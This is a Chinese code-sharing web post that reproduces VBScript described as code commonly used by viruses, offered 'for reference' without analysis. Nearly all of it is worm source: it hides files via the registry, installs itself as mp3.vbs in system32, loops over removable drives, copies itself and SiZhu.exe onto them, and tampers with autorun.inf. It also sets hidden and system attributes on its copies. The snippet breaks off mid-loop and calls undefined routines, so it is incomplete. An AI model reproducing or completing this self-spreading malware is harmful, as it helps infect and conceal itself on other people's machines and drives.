一段病毒常用的VBS代码

发布时间:2022-04-17 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了一段病毒常用的VBS代码脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。
复制代码 代码如下:

On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.fileSystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不显示隐藏文件
If WScript.ScriptFullName=fso.GetSPEcialFolder(1)&"\mP3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For each dri In fso.Drives
If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then
'autorun.inf文件夹改名
If fso.FolderExists(dri.Path&"\autorun.inf") Then
fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish"
End If
'复制自身及exe文件到移动硬盘
If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then
Else
If fso.FileExists(dri.Path&"\mp3.vbs") Then
fso.DeleteFile dri.Path&"\mp3.vbs",True
Elseif fso.FileExists(dri.Path&"\autorun.inf") Then
fso.DeleteFile dri.Path&"\autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True
End If
autoinf(dri.Path)
'给刚复制的文件加上隐藏属性
Set norkon=fso.GetFile(dri.Path&"\mp3.vbs")
wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0
Set norkon=Nothing

脚本宝典总结

以上是脚本宝典为你收集整理的一段病毒常用的VBS代码全部内容,希望文章能够帮你解决一段病毒常用的VBS代码所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签:VBS